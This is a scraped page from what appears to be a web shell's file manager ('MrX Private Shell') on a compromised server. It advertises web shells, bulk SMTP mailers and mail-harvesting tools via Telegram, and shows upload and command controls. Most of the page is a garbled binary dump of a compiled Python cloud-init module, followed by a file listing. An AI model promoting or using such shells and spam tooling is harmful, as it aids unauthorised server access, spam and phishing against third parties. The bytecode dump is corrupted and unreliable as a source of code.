__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h,+����SSKrSSKrSSKrSSKrSSKJrJr SSKJr SSSSSS	S
SSS
SS.r	Sr
SrSr\SSS4r
SrSrSrSrSrSrSrSrSrSr"SS5rS rS!rS"rS&S#jrS$rS%rg)'�N)�subp�util)�uses_systemd�delta�description�elapsed�
event_type�indent�level�name�origin�result�	timestamp�
total_time)z%dz%Dz%Ez%ez%Iz%lz%nz%oz%rz%tz%T�
successful�failure�	container���c���[R5H>up#X ;dMUS;aURUSU-5nM)URUSU-5nM@ UR"S0UD6$)N)rrrz
{%s:08.5f}z{%s}�)�
format_key�items�replace�format)�msg�event�i�js    �8/usr/lib/python3/dist-packages/cloudinit/analyze/show.py�
format_recordr 6sb��� � �"����8��5�5��k�k�!�\�A�%5�6���k�k�!�V�a�Z�0��
#��:�:�����c�4�U(aURS5$g)Nr��get�rs r�
event_namer&As����y�y�� � �r!c�4�U(aURS5$g)Nr	r#r%s rr	r	Gs����y�y��&�&�r!c�L�U(a[U5RS5S$g)N�/r)r&�splitr%s r�event_parentr+Ms#����%� �&�&�s�+�A�.�.�r!c�6�[URS55$�Nr)�floatr$r%s r�event_timestampr/Ss������;�'�(�(r!c��[RR[U5[RR5$�N)�datetime�
fromtimestampr/�timezone�utcr%s r�event_datetimer6Ws1�����*�*����� 1� 1� 5� 5��r!c�&�X-
R5$r1)�
total_seconds)�t1�t2s  r�
delta_secondsr;]s���G�"�"�$�$r!c�>�[[U5[U55$r1)r;r6)�start�finishs  r�event_durationr?as�����.��v�0F�G�Gr!c	���UR5nUR[X5[U[	U55SS[U5R
S5S-
--S-S.5 U$)N�|� r)�z`->)rrr
)�copy�updater?r;r6r&�count)�
start_timer=r>�records    r�event_recordrIesc��
�[�[�]�F�
�M�M�#�E�2�$�Z���1F�G��C�:�e�#4�#:�#:�3�#?�!�#C�D�D�u�L�	
���Mr!c��SU-$)NzTotal Time: %3.5f seconds
r)rs r�total_time_recordrKrs
��(�:�5�5r!c�.�\rSrSrSrSSjrSrSrSrg)	�SystemctlReader�vzI
Class for dealing with all systemctl subp calls in a consistent manner.
Nc���SUl[R"S5S/UlU(aURR	U5 URRSU/5 UR5Ulg)N�	systemctl�showz-p)�epochr�which�args�append�extendr)�self�property�	parameters   r�__init__�SystemctlReader.__init__{sY����
��Z�Z��,�f�5��	���I�I���Y�'��	�	���$��)�*��y�y�{��r!c��[R"URSS9upU(aU$Xlg![anUsSnA$SnAff=f)z|
Make a subp call based on set args and handle errors by setting
failure code

:return: whether the subp call failed or not
T��captureN)rrTrR�	Exception)rW�value�err�systemctl_fails    rr�SystemctlReader.subp�sC��	"����4�9�9�d�;�J�E���
��J����	"�!�!��	"�s�)3�3�
A	�A�A	�A	c���UR(a$[SRUR55eURR	S5Sn[U5S-$)zc
If subp call succeeded, return the timestamp from subp as a float.

:return: timestamp as a float
zBSubprocess call to systemctl has failed, returning error code ({})�=rCi@B)r�RuntimeErrorrrRr*r.)rWrs  r�parse_epoch_as_float�$SystemctlReader.parse_epoch_as_float�sV���<�<��,�,2�F�4�<�<�,@��
��J�J�$�$�S�)�!�,�	��Y��'�)�)r!)rTrRrr1)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__rZrrg�__static_attributes__rr!rrMrMvs���	#�"� *r!rMc���[5(a
[5$[R"5(d*S[R"5SR5;a
[
5$[$)a
Determine which init system a particular linux distro is using.
Each init system (systemd, etc) has a different way of
providing timestamps.

:return: timestamps of kernelboot, kernelendboot, and cloud-initstart
or TIMESTAMP_UNKNOWN if the timestamps cannot be retrieved.
�gentoo�system)r�gather_timestamps_using_systemdr�
is_FreeBSD�system_info�lower�gather_timestamps_using_dmesg�TIMESTAMP_UNKNOWNrr!r�dist_check_timestamprx�sR���~�~�.�0�0������H��(8�(8�(:�8�(D�(J�(J�(L�L�,�.�.��r!c��[R"S/SS9upUSR5nUH�nURS5RS5S:wdM)URS5R	5nUSRS	5n[
U5n[
[R"55[
[R"55-
nXv-n[XxU4s $ [$![a [$f=f)
z�
Gather timestamps that corresponds to kernel begin initialization,
kernel finish initialization using dmesg as opposed to systemctl

:return: the two timestamps plus a dummy timestamp to keep consistency
with gather_timestamps_using_systemd
�dmesgTr]rzUTF-8�userrrC�])
r�
splitlines�decode�findr*�stripr.�timer�uptime�SUCCESS_CODEr_rw)	�data�_�
split_entriesr�splitup�stripped�user_space_timestamp�kernel_start�
kernel_ends	         rrvrv�s���
��)�)�W�I�t�4����Q��*�*�,�
��A��x�x�� �%�%�f�-��3��(�(�7�+�1�1�3��"�1�:�+�+�C�0��(-�X��$�$�T�Y�Y�[�1�E�$�+�+�-�4H�H��)�@�
�$�\�z�I�I��"����
����
�s�AC*�B	C*�"C*�*
C<�;C<c��[[R"55[[R"55-
n[	S5R5n[	SS5R5nUn[n[R"5(a[nX1-nX2-nX@XV4$![an[U5 [sSnA$SnAff=f)z�
Gather timestamps that corresponds to kernel begin initialization,
kernel finish initialization. and cloud-init systemd unit activation

:return: the three timestamps
�UserspaceTimestampMonotonic�InactiveExitTimestampMonotoniczcloud-init-localN)r.r�rr�rMrgr��is_container�CONTAINER_CODEr_�printrw)r��delta_k_end�
delta_ci_s�	base_time�statusr��cloudinit_sysd�es        rrrrr�s��������%��d�k�k�m�(<�<�L�!�%�)�
�
�
�
 �	�%�,�.@�
�
�
�
 �	�!�	��������#�F��,�
�"�/����;�;��
�!�	�a�� � ��!�s�A#B&�&
C�0C�C�Cc���[USS9n/nSnSn0n/n/n[[U55GH�n	X	n
X	S-n[	U
5S:Xa�U(aFU
RS5S:Xa1UR
[U55 UR
U5 /nSnSnUc[U
5nXF[U
5'[U
5[U5:Xa8[	U5S	:Xa'UR
[U[XJU555 M�M�UR
S
U
RS5-5 UR
U
5 GMUR5n[U
5[U5:Xa@[XLU
5n
UR
[SU
5S-5 X]RS
5-
nGMvUR
U5 GM� UR
[U55 UR
U5 U$![a SnGN�f=f)aW
Take in raw events and create parent-child dependencies between events
in order to order events in chronological order.

:param events: JSONs from dump that represents events taken from logs
:param print_format: formatting to represent event, time stamp,
and time taken by the event in one line

:return: boot records ordered chronologically
c��US$r-r)�xs r�<lambda>�"generate_records.<locals>.<lambda>s���;�r!)�keyNgrCr=rz
init-localr>zStarting stage: %szFinished stage: (%n) %d seconds�
r)�sorted�range�len�
IndexErrorr	r$rUrKr6r+r&r rI�pop)�events�print_format�
sorted_events�recordsrGr�stage_start_time�boot_records�unprocessedr�r�next_evt�prev_evtrHs              r�generate_recordsr�s����6�'?�@�M��G��J��J����L��K�
�3�}�%�
&���	��	��!�e�}�H��e���'��5�9�9�V�,��<����0��<�=��#�#�G�,���!�
� �
��!�+�E�2�
�8B��e�!4�5��%� �J�x�$8�8��h�'�8�3��N�N�%�(�(��H�E���4����3�e�i�i��6G�G�H��"�"�5�)��"���(�H��%� �J�x�$8�8�%�j�E�B�����!�"C�V�L�����j�j��1�1�
��"�"�8�,�Y'�\�N�N�$�Z�0�1����� ����Y�	��H�	�s�G%�%G5�4G5c��[XS9$)a$
A passthrough method that makes it easier to call generate_records()

:param events: JSONs from dump that represents events taken from logs
:param print_format: formatting to represent event, time stamp,
and time taken by the event in one line

:return: boot records ordered chronologically
)r�)r�)r�r�s  r�show_eventsr�Ks���F�>�>r!c�*�UR5nUR5(dB[RR	SUR
-5 [R"S5 [R"U5U4$![a SU4s$f=f)z�
Takes in a log file, read it, and convert to json.

:param infile: The Log file to be read

:return: json version of logfile, raw file
zEmpty file %s
rCN)
�readr��sys�stderr�writer�exit�json�loads�
ValueError)�infiler�s  r�load_events_infiler�Xss���;�;�=�D��:�:�<�<��
�
���*�V�[�[�8�9��������z�z�$���%�%�����T�z���s�)B�B�B)z(%n) %d seconds in %I%D)r2r�r�r��	cloudinitrr�cloudinit.distrosrrr��	FAIL_CODEr�rwr r&r	r+r/r6r;r?rIrKrMrxrvrrr�r�r�rr!r�<module>r�s�����
�� �*�,�
�
�
�
�
�
�
�
�
�
��
����	�����B��+������)��%�H�
�6�2*�2*�j�,�><�F+�G�T
?�r!

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.83 KB 0644
dump.cpython-313.pyc File 6.81 KB 0644
show.cpython-313.pyc File 12.09 KB 0644
Filemanager